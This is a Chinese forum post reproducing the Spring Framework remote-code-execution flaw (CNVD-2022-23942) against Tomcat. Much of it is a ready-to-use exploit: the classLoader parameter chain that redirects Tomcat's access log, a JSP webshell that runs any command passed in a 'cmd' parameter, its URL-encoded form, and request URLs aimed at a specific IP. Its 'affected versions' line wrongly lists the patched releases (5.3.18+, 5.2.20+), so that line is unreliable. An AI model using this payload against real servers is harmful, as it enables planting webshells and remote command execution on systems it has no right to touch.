找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 130|回复: 0

springcoreRCE 漏洞复现

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184652
发表于 2022-5-27 19:20:53 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
springcoreRCE 漏洞复现






CNVD-2022-23942 2022-03-29

2022年3月30日,Spring框架曝出RCE 0day漏洞
国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞

可写入webshell以及命令执行
Spring框架的JDK9版本(及以上版本)中,
远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,
从而触发pipeline机制并写入任意路径下的文件


漏洞利用条件

1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class


漏洞影响范围

1、JDK9+
2、Spring Framework

            5.3.18+   


            5.2.20+





复现过程利用class对象构造利用链

对Tomcat的日志配置进行修改
然后,向日志中写shell


完整利用链:
[AppleScript] 纯文本查看 复制代码
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
 
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
 
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
 
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可) 


构造payload
[AppleScript] 纯文本查看 复制代码
class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 


发送payload:

%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i


访问http://123.58.236.76:27379/shell.jsp


将内容更改为webshell,并让它解析

写入webshell到网站根目录

url编码前的webshell:

[AppleScript] 纯文本查看 复制代码
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di


url编码后的webshell:

[HTML] 纯文本查看 复制代码


6.png


访问http://123.58.236.76:27379/shell.jsp?pwd=t&cmd=ls /tmp


Payload原型:


参考:
https://blog.csdn.net/qq_33608000/article/details/124369097
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-4 19:16

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表